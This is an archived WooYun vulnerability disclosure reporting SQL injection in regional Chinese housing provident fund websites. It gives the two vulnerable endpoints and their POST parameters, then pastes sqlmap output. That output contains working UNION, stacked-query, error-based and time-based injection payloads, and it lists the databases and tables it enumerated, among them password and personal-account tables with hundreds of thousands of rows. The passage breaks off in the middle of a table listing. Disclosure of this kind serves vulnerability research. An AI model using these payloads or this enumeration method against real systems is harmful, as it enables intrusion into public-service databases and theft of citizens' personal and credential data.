乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-03-26： 细节已通知厂商并且等待厂商处理中 2014-03-30： 厂商已经确认，细节仅向厂商公开 2014-04-09： 细节向核心白帽子及相关领域专家公开 2014-04-19： 细节向普通白帽子公开 2014-04-29： 细节向实习白帽子公开 2014-05-10： 细节向公众公开
多个地区住房公积金管理平台SQL注射
注射点1
http://220.178.98.86/hfgjj/jsp/web/public/search/getPw.jsp (POST)zgyhzh=123456789&xm=123456789&sjhm=123456789
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: POSTParameter: zgyhzh Type: UNION query Title: Generic UNION query (NULL) - 9 columns Payload: zgyhzh=123456789' UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(111)+CHAR(110)+CHAR(99)+CHAR(113)+CHAR(76)+CHAR(99)+CHAR(116)+CHAR(85)+CHAR(99)+CHAR(119)+CHAR(104)+CHAR(115)+CHAR(77)+CHAR(103)+CHAR(113)+CHAR(102)+CHAR(108)+CHAR(115)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL-- &xm=123456789&sjhm=123456789 Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: zgyhzh=123456789'; WAITFOR DELAY '0:0:5'--&xm=123456789&sjhm=123456789 Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: zgyhzh=123456789' WAITFOR DELAY '0:0:5'--&xm=123456789&sjhm=123456789---web server operating system: Windowsweb application technology: Apache 2.2.22, JSPback-end DBMS: Microsoft SQL Server 2000current user: 'sa'current database: 'hfgjj'available databases [7]:[*] gjj[*] hengke[*] hfgjj[*] master[*] model[*] msdb[*] tempdbDatabase: tempdb+--------------------------------------------+---------+| Table | Entries |+--------------------------------------------+---------+| dbo.syssegments | 3 |+--------------------------------------------+---------+Database: msdb+--------------------------------------------+---------+| Table | Entries |+--------------------------------------------+---------+| dbo.RTblRelships | 6922 || dbo.RTblIfaceHier | 3349 || dbo.RTblVersionAdminInfo | 2333 || dbo.RTblVersions | 2333 || dbo.RTblNamedObj | 2196 || dbo.RTblIfaceMem | 1189 || dbo.RTblPropDefs | 797 || dbo.RTblClassDefs | 537 || dbo.RTblIfaceDefs | 453 || dbo.RTblProps | 393 || dbo.RTblRelColDefs | 320 || dbo.sysjobhistory | 200 || dbo.RTblRelshipDefs | 144 || dbo.RTblParameterDef | 136 || dbo.sysconstraints | 101 || dbo.RTblClassExtension | 69 || dbo.RTblSites | 44 || dbo.backupfile | 42 || dbo.sysdtspackages | 35 || dbo.RTblRelshipProps | 28 || dbo.backupset | 21 || dbo.syscategories | 19 || dbo.RTblTypeLibs | 17 || dbo.backupmediafamily | 16 || dbo.backupmediaset | 16 || dbo.sysalerts | 9 || dbo.sysdtscategories | 3 || dbo.syssegments | 3 || dbo.restorefilegroup | 2 || dbo.restorefilegroup | 2 || dbo.restorehistory | 2 || dbo.sysjobs_view | 2 || dbo.sysjobs_view | 2 || dbo.sysjobschedules | 2 || dbo.sysjobservers | 2 || dbo.sysjobsteps | 2 || dbo.RTblDatabaseVersion | 1 || dbo.sysdbmaintplans | 1 || dbo.systargetservers_view | 1 || dbo.systargetservers_view | 1 |+--------------------------------------------+---------+Database: master+--------------------------------------------+---------+| Table | Entries |+--------------------------------------------+---------+| dbo.v_dw_gjmx | 78509 || dbo.v_168_dwgjmx | 77547 || dbo.v_168_dz_old | 33801 || dbo.v_168_dz_old | 33801 || INFORMATION_SCHEMA.PARAMETERS | 3617 || INFORMATION_SCHEMA.ROUTINES | 1019 || dbo.spt_values | 730 || INFORMATION_SCHEMA.COLUMNS | 521 || INFORMATION_SCHEMA.COLUMN_PRIVILEGES | 379 || INFORMATION_SCHEMA.VIEW_COLUMN_USAGE | 302 || INFORMATION_SCHEMA.ROUTINE_COLUMNS | 159 || INFORMATION_SCHEMA.VIEW_TABLE_USAGE | 63 || INFORMATION_SCHEMA.TABLES | 52 || INFORMATION_SCHEMA.TABLE_PRIVILEGES | 34 || dbo.spt_server_info | 29 || INFORMATION_SCHEMA.VIEWS | 26 || dbo.spt_provider_types | 25 || dbo.spt_datatype_info_ext | 10 || dbo.spt_datatype_info_ext | 10 || dbo.sysconstraints | 7 || INFORMATION_SCHEMA.SCHEMATA | 7 || INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE | 6 || INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE | 6 || INFORMATION_SCHEMA.KEY_COLUMN_USAGE | 6 || INFORMATION_SCHEMA.TABLE_CONSTRAINTS | 6 || dbo.syslogins | 3 || dbo.syssegments | 3 || dbo.MSreplication_options | 2 || dbo.spt_monitor | 1 || dbo.sysoledbusers | 1 |+--------------------------------------------+---------+Database: hengke+--------------------------------------------+---------+| Table | Entries |+--------------------------------------------+---------+| dbo.Pub_114User | 11671 || dbo.Tx_Jf_OneRate | 4005 || dbo.PUB_CITYINFO | 3276 || dbo.sysconstraints | 3186 || dbo.TempOterMoney1 | 3153 || dbo.TempOterMoney1 | 3153 || dbo.TempOterMoney2 | 3153 || dbo.Pub_MonthMoneyTemp | 2798 || dbo.Pub_DataDict | 1470 || dbo.MainRate$ | 1191 || dbo.MainRate$ | 1191 || dbo.haoma$ | 1103 || dbo.Tx_Jf_RateModule | 976 || dbo.Pub_GridColWidth | 915 || dbo.test5 | 821 || dbo.test5 | 821 || dbo.TempAccMoney | 565 || dbo.Tx_Sl_RunStepMx | 549 || dbo.vPub_GridColWidth | 488 || dbo.Tx_Sj_CmdModuleStep | 381 || dbo.TX_YY_Hint | 333 || dbo.TX_YY_SysPara | 213 || dbo.Cti_Voc_File | 187 || dbo.v_QueryWorkMx | 186 || dbo.PUB_Sysfunction | 150 || dbo.PUB_SysDllModul | 112 || dbo.Pub_ListValue | 106 || dbo.Tx_SL_SfMoney | 105 || dbo.Cti_Channel | 88 || dbo.TX_YY_MixIdxMod | 83 || dbo.TX_YY_MixIdxMod | 83 || dbo.Tx_Sf_AccMoney_Bak | 81 || dbo.Tx_Sf_AccMoney_Bak | 81 || dbo.Pub_Parainfor | 80 || dbo.Tx_Sj_CmdModuleItem | 77 || dbo.v_Chan_Drs | 72 || dbo.PUB_SysMenu | 70 || dbo.TX_YY_ChaUse | 70 || dbo.SYS_POWER_DEF | 67 || dbo.Cti_Syspara | 60 || dbo.TX_YY_Flow | 53 || dbo.Tx_JF_ReceFormat | 52 || dbo.V_ChaUse | 48 || dbo.PlayInkeylen | 47 || dbo.Tx_Sf_PayMents_Bak | 45 || dbo.Tx_Sf_PayMents_Bak | 45 || dbo.Pub_AutoDownDll | 44 || dbo.Tx_Sf_PayMoney_Bak | 40 || dbo.Tx_Sf_PayMoney_Bak | 40 || dbo.Tx_Sl_RunStepDef | 35 || dbo.SYS_LOG_TYPE | 34 || dbo.SYS_LOG_TYPE | 34 || dbo.Tx_Zl_PatternInfor | 33 || dbo.Pub_ReportList | 31 || dbo.SubRate$ | 31 || dbo.SubRate$ | 31 || dbo.TX_Zl_2MTrunk | 31 || dbo.Tx_Jf_OtherMoneyItem | 30 || dbo.v_NetManage | 28 || dbo.TX_FC_ZJQK | 27 || dbo.v_LimitWay | 27 || dbo.Tx_yy_letterKey | 26 || dbo.Tx_Sl_OperKind | 23 || dbo.Tx_Oper_Way | 22 || dbo.Tx_Sl_OperRunMoney | 20 || dbo.Tx_Sl_OperRunName | 20 || dbo.v_OperMoneyList | 20 || dbo.v_OperMoneyList | 20 || dbo.Tx_Jf_RateHoliday | 19 || dbo.Tx_Sj_YfLimit | 19 || dbo.Tx_2rd_DialHis | 17 || dbo.TX_YY_MixUseLst | 16 || dbo.SYS_POWER_TYPE | 15 || dbo.Tx_CS_CmdRule | 15 || dbo.TX_Sl_CmdLst | 15 || dbo.Pub_SysTag | 14 || dbo.Tx_Jf_OtherMoneyList | 14 || dbo.PUB_OPGROUP | 13 || dbo.Tx_Sj_LimitStandard | 13 || dbo.TX_YY_ShortKey | 13 || dbo.Tx_Oper_Kind | 12 || dbo.Tx_Oper_Pbx | 12 || dbo.TX_YY_FKList | 12 || dbo.Tx_Hx_DevFormate | 11 || dbo.Tx_Jf_RemoveMoney | 11 || dbo.Tx_Wy_AreaLst | 11 || dbo.Tx_Wy_CapperDays | 10 || dbo.Tx_Wy_CapperDays | 10 || dbo.V_112_BugType | 10 || dbo.v_Hx_DevArea | 10 || dbo.Pub_BillType | 9 || dbo.Tx_Jf_AccFormula | 9 || dbo.Tx_Jf_DkLst | 9 || dbo.Pub_WaterID | 8 || dbo.Tx_Kd_FeeTypeDCBI | 8 || dbo.Tx_Sj_KeyPress | 8 || dbo.Tx_Zl_RouteArea | 8 || dbo.v_GetOperTaskParent | 8 || dbo.v_Jf_RateCutView | 8 || dbo.PUB_BS_Operator | 7 || dbo.TX_CS_TestKind | 7 || dbo.Tx_Hx_DevType | 7 || dbo.Tx_Oper_NewOper | 7 || dbo.Tx_Sj_QfLimit | 7 || dbo.TX_YY_UseList | 7 || dbo.Cti_ModSet | 6 || dbo.TX_YW_DevNetworkType | 6 || dbo.Pub_FilterModule | 5 || dbo.Pub_TeleCos | 5 || dbo.tx_JF_ErrorLevel | 5 || dbo.Tx_Jf_RateTree | 5 || dbo.Tx_Oper_Group | 5 || dbo.TX_YY_DialTimeRule | 5 || dbo.IE_TreeView | 4 || dbo.Pub_TeleCardSet | 4 || dbo.TX_112_ExecResult | 4 || dbo.TX_FC_fckind | 4 || dbo.Tx_Hx_DevFact | 4 || dbo.Tx_Ic_Lev | 4 || dbo.TX_JF_InputMoney | 4 || dbo.Tx_Jf_OtherMoneyDoWay | 4 || dbo.Tx_JF_ProcResult | 4 || dbo.Tx_Sl_AreaPbxCodeList | 4 || dbo.Tx_Sl_WorkGroup | 4 || dbo.Tx_Wy_SchoolMoney | 4 || dbo.TX_YW_DEVTYPE | 4 || dbo.TX_YY_DialDateRule | 4 || dbo.TX_YY_DialWeekRule | 4 || dbo.TX_YY_NoDialRule | 4 || dbo.v_GetJiFeiRentKind | 4 || dbo.v_Sl_CodeRang | 4 || dbo.Pub_LevelGroup | 3 || dbo.Pub_NewOper | 3 || dbo.Pub_TeleInUseing | 3 || dbo.Pub_UserKind | 3 || dbo.SYS_OPERATOR | 3 || dbo.syssegments | 3 || dbo.TX_112_bugTypeT | 3 || dbo.TX_112_ExecSta | 3 || dbo.Tx_Hx_OptSta | 3 || dbo.Tx_Jf_RateServerName | 3 || dbo.Tx_Jf_Route | 3 || dbo.Tx_Oper_Rule | 3 || dbo.Tx_Oper_Sta | 3 || dbo.Tx_Sj_LeftMoneyProc | 3 || dbo.Tx_Wy_SchoolLst | 3 || dbo.TX_YW_USERTYPE | 3 || dbo.TX_YY_DialNumRule | 3 || dbo.TX_YY_OPT | 3 || dbo.v_CjWay2 | 3 || dbo.v_CjWay2 | 3 || dbo.v_GetDevPortStatus | 3 || dbo.v_Jf_AccFormula | 3 || dbo.v_PubTeleInUse | 3 || dbo.v_sf_GetAccType | 3 || dbo.v_sf_GetSfOpertor | 3 || dbo.Pub_PbxInfor | 2 || dbo.Pub_TeleKind | 2 || dbo.sys_Station | 2 || dbo.Tx_112_ExecMan | 2 || dbo.TX_CS_TestWay | 2 || dbo.Tx_JF_DerateKind | 2 || dbo.Tx_Jf_OtherMoneyGuiZhe | 2 || dbo.Tx_Jf_PanJinZhuanZhang | 2 || dbo.Tx_Jf_RateCutMoney | 2 || dbo.Tx_Jf_RateModiMoney | 2 || dbo.Tx_Jf_ReportList | 2 || dbo.Tx_Jf_ReportList | 2 || dbo.Tx_Oper_ClientArea | 2 || dbo.Tx_Oper_Paper | 2 || dbo.Tx_Sj_LimitWay | 2 || dbo.Tx_Sj_MLeftProcess | 2 || dbo.Tx_SL_AreaList | 2 || dbo.Tx_Sl_AreaPbxList | 2 || dbo.TX_YW_DevBrand | 2 || dbo.Tx_YY_HardKind | 2 || dbo.v_AreaPbxNameLst | 2 || dbo.v_GetJiFeiDerateKind | 2 || dbo.v_GetJiFeiType | 2 || dbo.v_GetOperOpLst | 2 || dbo.DutyNum | 1 || dbo.Ie_News | 1 || dbo.Pub_teleuserBak | 1 || dbo.SYS_POWER_GROUP | 1 || dbo.TX_CS_ComUse | 1 || dbo.Tx_Hx_DevManager | 1 || dbo.Tx_Jf_CutCheLue | 1 || dbo.Tx_Jf_PanJinOtherMoney | 1 || dbo.Tx_Jf_PassAccCode | 1 || dbo.Tx_Jf_ReceStation | 1 || dbo.Tx_Jf_TaoCanItem | 1 || dbo.Tx_Mail_Message | 1 || dbo.Tx_Oper_ChargeStandard | 1 || dbo.Tx_Sf_Station | 1 || dbo.Tx_Sl_TurnWgrp | 1 || dbo.TX_YW_DevModel | 1 || dbo.Tx_YY_EnterAgtByCaller | 1 || dbo.TX_YY_HwtNumSet | 1 || dbo.TX_YY_TeleWeiHu | 1 || dbo.V_ComUse | 1 || dbo.V_Hx_ZN_2MOvertime | 1 || dbo.V_Tx_YY_EnterAgtByCaller | 1 |+--------------------------------------------+---------+Database: hfgjj+--------------------------------------------+---------+| Table | Entries |+--------------------------------------------+---------+| dbo.v_168_dz1 | 7603650 || dbo.v_web_hdmx | 4945434 || dbo.v_save_password | 708168 || dbo.v_dw_gjmx_old | 654451 || dbo.v_dw_gjmx_old | 654451 || dbo.v_web_wttqmx_old | 462191 || dbo.v_web_wttqmx_old | 462191 || dbo.v_web_wttqmx_old | 462191 || dbo.v_168_dz_old_yl | 424834 || dbo.v_web_shgc | 361934 || dbo.v_168_dwhjqk_old | 290071 || dbo.v_168_dwhjqk_old | 290071 || dbo.v_168_dwzz_old | 286660 || dbo.v_168_dwzz_old | 286660 || dbo.v_168_info_old | 244021 || dbo.v_168_info_old | 244021 || dbo.v_web_wtmx12 | 238842 || dbo.v_web_wtmx10 | 120510 || dbo.v_168_dz2 | 101403 || dbo.v_web_wtmx11 | 89190 || dbo.v_dw_gzmx | 76545 || dbo.v_dwhjqk_old | 67119 || dbo.v_dwhjqk_old | 67119 || dbo.v_09_10_xh | 59814 || dbo.v_web_wtmx09 | 34592 || dbo.v_web_hdqk1 | 29389 || dbo.v_web_hdqk1 | 29389 || dbo.sys_log | 20451 || dbo.hdzx | 11659 || dbo.v_168_dwinfo | 9130 || dbo.v_house_info | 8162 || dbo.v_web_sdqk | 6636 || dbo.v_save_etps_password | 6354 || dbo.tongji | 4323 || dbo.web_dwinfo | 3387 || dbo.v_168_dwdz | 1043 || dbo.cms_hdjl | 464 || dbo.SYS_SITERIGHT | 360 || dbo.WELFARE_NEWS | 257 || dbo.sys_role_resource | 192 || dbo.sys_role_resource | 192 || dbo.fagui | 102 || dbo.wenjian | 74 || dbo.supply_note | 69 || dbo.sys_resource | 60 || dbo.sys_user_role | 47 || dbo.sys_user_role | 47 || dbo.xzsp_dw | 39 || dbo.xzsp_dw | 39 || dbo.SYS_MENU | 38 || dbo.mail_material | 34 || dbo.supply_replynote | 34 || dbo.sysconstraints | 34 || dbo.focus_user | 30 || dbo.pbcatcol | 29 || dbo.kill_kk | 21 || dbo.pbcatedt | 21 || dbo.DIY_TEMPTALBLE | 20 || dbo.pbcatfmt | 20 || dbo.CULTURE_INVESTDETAIL | 13 || dbo.sqlmapoutput | 13 || dbo.D99_CMD | 12 || dbo.hero_table | 12 || dbo.sys_user_unit | 8 || dbo.h_quyu | 7 || dbo.advise_upload | 6 || dbo.xzxk | 6 || dbo.v_168_gjd | 5 || dbo.INNER_INFO | 4 || dbo.renyuan_dw | 4 || dbo.renyuan_dw | 4 || dbo.class_supply | 3 || dbo.sys_unittype | 3 || dbo.syssegments | 3 || dbo.zxbs | 3 || dbo.CULTURE_INVESTED | 2 || dbo.D99_Tmp | 2 || dbo.fellow_class | 2 || dbo.fellow_link | 2 || dbo.h_loupan | 2 || dbo.pbcattbl | 2 || dbo.tz_js | 2 || dbo.tz_note | 2 || dbo.D99_REG | 1 || dbo.h_loudong | 1 || dbo.LIFA_NEWS | 1 || dbo.sys_siteprevilige | 1 || dbo.sys_siteprevilige | 1 || dbo.v_update_Time | 1 |+--------------------------------------------+---------+Database: gjj+--------------------------------------------+---------+| Table | Entries |+--------------------------------------------+---------+| dbo.v_168_dwhjqk | 69152 || dbo.sys_log | 6291 || dbo.v_168_dwinfo | 3317 || dbo.tongji | 629 || dbo.v_168_dwdz | 385 || dbo.SYS_SITERIGHT | 352 || dbo.sys_role_resource | 210 || dbo.sys_role_resource | 210 || dbo.cms_hdjl | 108 || dbo.fagui | 102 || dbo.supply_note | 69 || dbo.sys_resource | 68 || dbo.sys_user_role | 38 || dbo.sys_user_role | 38 || dbo.mail_material | 34 || dbo.supply_replynote | 34 || dbo.SYS_MENU | 31 || dbo.focus_user | 30 || dbo.kill_kk | 21 || dbo.pbcatedt | 21 || dbo.pbcatfmt | 20 || dbo.CULTURE_INVESTDETAIL | 13 || dbo.hero_table | 12 || dbo.advise_upload | 6 || dbo.D99_CMD | 5 || dbo.sys_user_unit | 5 || dbo.INNER_INFO | 4 || dbo.renyuan_dw | 4 || dbo.renyuan_dw | 4 || dbo.class_supply | 3 || dbo.syssegments | 3 || dbo.CULTURE_INVESTED | 2 || dbo.fellow_class | 2 || dbo.fellow_link | 2 || dbo.sys_unittype | 2 || dbo.sysconstraints | 2 || dbo.LIFA_NEWS | 1 || dbo.sys_siteprevilige | 1 || dbo.sys_siteprevilige | 1 |+--------------------------------------------+---------+Database: model+--------------------------------------------+---------+| Table | Entries |+--------------------------------------------+---------+| dbo.syssegments | 3 |+--------------------------------------------+---------+
注射点2
http://www.nbgjj.com/cha/PassToEmail.aspx?type=01 (POST)__VIEWSTATE=/wEPDwUJMjYwODE0ODIxD2QWAgIDD2QWAgILDw9kFgIeCW9ua2V5ZG93bgUUcmV0dXJuICAgR2V0Rm9jdXMoKTtkZMSPM1KelvaP3KVpLgY%2B9%2BwsSeg0&__EVENTVALIDATION=/wEWCAL07/%2B8AwLs0bLrBgKM54rGBgLs0fbZDALWlM%2BbAgLs0e58ArursYYIAoXZ9dsDZtnhUp/VhoT0LkxD4lvykCwQCVs%3D&TextBox1=admin&Button1=%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E&TextBox2=&TextBox4=
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: POSTParameter: TextBox1 Type: boolean-based blind Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries Payload: __VIEWSTATE=/wEPDwUJMjYwODE0ODIxD2QWAgIDD2QWAgILDw9kFgIeCW9ua2V5ZG93bgUUcmV0dXJuICAgR2V0Rm9jdXMoKTtkZMSPM1KelvaP3KVpLgY+9+wsSeg0&__EVENTVALIDATION=/wEWCAL07/+8AwLs0bLrBgKM54rGBgLs0fbZDALWlM+bAgLs0e58ArursYYIAoXZ9dsDZtnhUp/VhoT0LkxD4lvykCwQCVs=&TextBox1=admin'; IF(7359=7359) SELECT 7359 ELSE DROP FUNCTION wZgX--&Button1=%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E&TextBox2=&TextBox4= Type: error-based Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause Payload: __VIEWSTATE=/wEPDwUJMjYwODE0ODIxD2QWAgIDD2QWAgILDw9kFgIeCW9ua2V5ZG93bgUUcmV0dXJuICAgR2V0Rm9jdXMoKTtkZMSPM1KelvaP3KVpLgY+9+wsSeg0&__EVENTVALIDATION=/wEWCAL07/+8AwLs0bLrBgKM54rGBgLs0fbZDALWlM+bAgLs0e58ArursYYIAoXZ9dsDZtnhUp/VhoT0LkxD4lvykCwQCVs=&TextBox1=-2556' OR 1380=CONVERT(INT,(SELECT CHAR(113)+CHAR(101)+CHAR(109)+CHAR(104)+CHAR(113)+(SELECT (CASE WHEN (1380=1380) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(97)+CHAR(112)+CHAR(121)+CHAR(113))) AND 'YczW'='YczW&Button1=%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E&TextBox2=&TextBox4= Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: __VIEWSTATE=/wEPDwUJMjYwODE0ODIxD2QWAgIDD2QWAgILDw9kFgIeCW9ua2V5ZG93bgUUcmV0dXJuICAgR2V0Rm9jdXMoKTtkZMSPM1KelvaP3KVpLgY+9+wsSeg0&__EVENTVALIDATION=/wEWCAL07/+8AwLs0bLrBgKM54rGBgLs0fbZDALWlM+bAgLs0e58ArursYYIAoXZ9dsDZtnhUp/VhoT0LkxD4lvykCwQCVs=&TextBox1=admin'; WAITFOR DELAY '0:0:5'--&Button1=%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E&TextBox2=&TextBox4= Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: __VIEWSTATE=/wEPDwUJMjYwODE0ODIxD2QWAgIDD2QWAgILDw9kFgIeCW9ua2V5ZG93bgUUcmV0dXJuICAgR2V0Rm9jdXMoKTtkZMSPM1KelvaP3KVpLgY+9+wsSeg0&__EVENTVALIDATION=/wEWCAL07/+8AwLs0bLrBgKM54rGBgLs0fbZDALWlM+bAgLs0e58ArursYYIAoXZ9dsDZtnhUp/VhoT0LkxD4lvykCwQCVs=&TextBox1=admin' WAITFOR DELAY '0:0:5'--&Button1=%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E&TextBox2=&TextBox4=---web server operating system: Windows Vistaweb application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0back-end DBMS: Microsoft SQL Server 2005current user: 'nbgjj'current database: 'nbgjjcx'available databases [12]:[*] ajstat[*] FZXGJJCX[*] gjj[*] master[*] model[*] msdb[*] nbgjjcx[*] nbgjjcxbak[*] nbgjjls[*] nbgjjwz[*] nbgjjwz2012[*] tempdbDatabase: FZXGJJCX+--------------------------------------------------+---------+| Table | Entries |+--------------------------------------------------+---------+| dbo.da_grjb_Pwd | 583994 || dbo.da_grjb | 508738 || dbo.xd_fhz | 26744 || dbo.GJ_DWZH_Pwd | 8937 || dbo.gj_dwzh | 8926 || dbo.Import_Log | 108 || dbo.AdminUser | 9 || dbo.pwd_change | 3 |+--------------------------------------------------+---------+Database: nbgjjwz2012+--------------------------------------------------+---------+| Table | Entries |+--------------------------------------------------+---------+| dbo.D_AdminLog | 12236 || dbo.D_Dictionary | 4628 || dbo.D_U_xinxiang | 1112 || dbo.D_U_kedailoupan | 475 || dbo.D_UserLog | 469 || dbo.D_UserAccount | 447 || dbo.D_Field | 343 || dbo.D_Iframe | 241 || dbo.D_U_Article | 218 || dbo.D_U_JGWM | 211 || dbo.D_Collection_Field | 198 || dbo.D_Column | 154 || dbo.D_Label | 142 || dbo.D_User | 88 || dbo.D_UserFriendGroup | 88 || dbo.D_User_Person | 76 || dbo.D_Class | 74 || dbo.D_U_Redianwenda | 65 || dbo.D_Style | 60 || dbo.D_U_Down | 55 || dbo.D_Account | 54 || dbo.D_U_Zhigongfengcai | 47 || dbo.D_U_Yewujieda | 40 || dbo.D_Admin | 36 || dbo.D_InsertWeb | 29 || dbo.D_U_post | 27 || dbo.D_U_zhengcefagui | 26 || dbo.D_Regex | 21 || dbo.D_InfoModel | 15 || dbo.D_Tag | 15 || dbo.D_U_shoutuozhongjie | 15 || dbo.D_SinglePage | 14 || dbo.D_UserGroup | 14 || dbo.D_Collection_Item | 12 || dbo.D_U_bbs | 12 || dbo.D_User_Business | 12 || dbo.D_PowerGroup | 11 || dbo.D_Search | 8 || dbo.D_UserIframe | 7 || dbo.D_Aspxcs | 6 || dbo.D_U_shoutuoyinhang | 6 || dbo.D_U_zhigongxiangce | 5 || dbo.D_Collection_List | 3 || dbo.D_DataSource | 3 || dbo.D_Excel | 3 || dbo.D_LikePage | 3 || dbo.D_VSLabel | 3 || dbo.D_TemplateProgram | 2 || dbo.D_UserModel | 2 || dbo.D_Form | 1 || dbo.D_LabelParam | 1 || dbo.D_LabelToFile | 1 || dbo.D_UserFavorite | 1 || dbo.D_UserGrade | 1 || dbo.D_VoteLimit | 1 |+--------------------------------------------------+---------+Database: msdb+--------------------------------------------------+---------+| Table | Entries |+--------------------------------------------------+---------+| dbo.backupfile | 84 || dbo.backupset | 42 || dbo.backupmediafamily | 39 || dbo.backupmediaset | 39 || dbo.restorefile | 6 || dbo.restorefilegroup | 3 || dbo.restorehistory | 3 |+--------------------------------------------------+---------+Database: nbgjjwz+--------------------------------------------------+---------+| Table | Entries |+--------------------------------------------------+---------+| dbo.D_AdminLog | 6432 || dbo.D_Dictionary | 4628 || dbo.D_U_xinxiang | 2355 || dbo.D_UserAccount | 1015 || dbo.D_UserLog | 785 || dbo.D_U_Article | 564 || dbo.D_U_kedailoupan | 562 || dbo.ServiceView | 417 || dbo.D_Field | 346 || dbo.D_User | 342 || dbo.D_UserFriendGroup | 342 || dbo.D_User_Person | 330 || dbo.D_Iframe | 241 || dbo.D_U_JGWM | 211 || dbo.D_Label | 142 || dbo.D_Column | 116 || dbo.D_Collection_Field | 66 || dbo.D_U_Redianwenda | 66 || dbo.D_U_Down | 63 || dbo.D_Style | 60 || dbo.D_Account | 58 || dbo.D_U_Zhigongfengcai | 47 || dbo.D_U_Yewujieda | 40 || dbo.D_Class | 33 || dbo.D_InsertWeb | 29 || dbo.D_U_post | 27 || dbo.D_U_zhengcefagui | 27 || dbo.D_Regex | 21 || dbo.D_Tag | 16 || dbo.D_InfoModel | 15 || dbo.D_U_shoutuozhongjie | 15 || dbo.D_UserGroup | 14 || dbo.D_Admin | 12 || dbo.D_U_bbs | 12 || dbo.D_User_Business | 12 || dbo.D_PowerGroup | 11 || dbo.D_SinglePage | 9 || dbo.D_Search | 8 || dbo.D_UserIframe | 7 || dbo.D_U_shoutuoyinhang | 6 || dbo.D_U_zhigongxiangce | 5 || dbo.D_Collection_Item | 4 || dbo.D_Collection_List | 3 || dbo.D_DataSource | 3 || dbo.D_Excel | 3 || dbo.D_LikePage | 3 || dbo.D_VSLabel | 3 || dbo.D_Aspxcs | 2 || dbo.D_TemplateProgram | 2 || dbo.D_UserModel | 2 || dbo.D_Form | 1 || dbo.D_LabelParam | 1 || dbo.D_LabelToFile | 1 || dbo.D_Notandum | 1 || dbo.D_UserFavorite | 1 || dbo.D_UserGrade | 1 || dbo.D_VoteLimit | 1 |+--------------------------------------------------+---------+Database: master+--------------------------------------------------+---------+| Table | Entries |+--------------------------------------------------+---------+| sys.messages | 67941 || sys.sysmessages | 67941 || sys.syscolumns | 10642 || sys.all_parameters | 6697 || sys.system_parameters | 6697 || sys.trace_subclass_values | 4722 || sys.trace_event_bindings | 3958 || sys.all_columns | 3740 || sys.system_columns | 3696 || sys.syscomments | 2744 || dbo.spt_values | 2346 || sys.all_objects | 1747 || sys.sysobjects | 1747 || sys.system_objects | 1741 || sys.database_permissions | 1641 || sys.syspermissions | 1641 || sys.sysprotects | 1640 || sys.all_sql_modules | 1589 || sys.system_sql_modules | 1589 || sys.all_views | 284 || sys.system_views | 284 || sys.event_notification_event_types | 193 || sys.trace_events | 171 || sys.allocation_units | 114 || sys.syscharsets | 114 || sys.dm_db_partition_stats | 103 || sys.partitions | 103 || sys.system_components_surface_area_configuration | 98 || sys.xml_schema_facets | 97 || sys.xml_schema_components | 93 || sys.xml_schema_types | 77 || sys.trace_columns | 65 || sys.configurations | 62 || sys.sysconfigures | 62 || sys.syscurconfigs | 62 || sys.fulltext_document_types | 50 || sys.fulltext_languages | 48 || INFORMATION_SCHEMA.COLUMN_PRIVILEGES | 44 || INFORMATION_SCHEMA.COLUMNS | 44 || sys.columns | 44 || sys.syslanguages | 33 || sys.systypes | 27 || sys.types | 27 || sys.securable_classes | 21 || sys.trace_categories | 21 || sys.xml_schema_component_placements | 17 || INFORMATION_SCHEMA.SCHEMATA | 14 || sys.database_principals | 14 || sys.schemas | 14 || sys.sysusers | 14 || sys.xml_schema_attributes | 14 || sys.database_mirroring | 12 || sys.database_recovery_status | 12 || sys.databases | 12 || sys.sysdatabases | 12 || sys.server_principals | 11 || sys.service_contract_message_usages | 11 || sys.server_permissions | 7 || sys.sysindexes | 7 || sys.indexes | 6 || sys.objects | 6 || sys.stats_columns | 6 || INFORMATION_SCHEMA.TABLE_PRIVILEGES | 5 || INFORMATION_SCHEMA.TABLES | 5 || sys.index_columns | 5 || sys.sysindexkeys | 5 || sys.tables | 5 || sys.endpoints | 4 || sys.service_queue_usages | 3 || sys.stats | 3 || sys.syssegments | 3 || sys.xml_schema_namespaces | 3 || sys.database_files | 2 || sys.login_token | 2 || sys.service_contract_usages | 2 || sys.sql_logins | 2 || sys.sysfiles | 2 || sys.syslogins | 2 || sys.user_token | 2 || dbo.spt_monitor | 1 || sys.data_spaces | 1 || sys.database_role_members | 1 || sys.default_constraints | 1 || sys.dm_exec_requests | 1 || sys.dm_exec_sessions | 1 || sys.filegroups | 1 || sys.server_role_members | 1 || sys.servers | 1 || sys.sysconstraints | 1 || sys.sysfilegroups | 1 || sys.sysmembers | 1 || sys.sysprocesses | 1 || sys.sysservers | 1 || sys.tcp_endpoints | 1 || sys.via_endpoints | 1 || sys.xml_schema_collections | 1 || sys.xml_schema_model_groups | 1 || sys.xml_schema_wildcards | 1 |+--------------------------------------------------+---------+Database: nbgjjcx+--------------------------------------------------+---------+| Table | Entries |+--------------------------------------------------+---------+| dbo.Login | 4239423 || dbo.gj_grmx | 4038930 || dbo.gj_grzh | 656151 || dbo.da_grjb | 600909 || dbo.grda | 600909 || dbo.bk_grjb | 599884 || dbo.gj_dwzhmx | 535108 || dbo.da_grjbbak | 448226 || dbo.gj_gtdwyjc | 160330 || dbo.gj_dwzh | 41865 || dbo.xd_fhz | 34284 || dbo.dwxx | 13954 || dbo.gj_dwxx | 13954 || 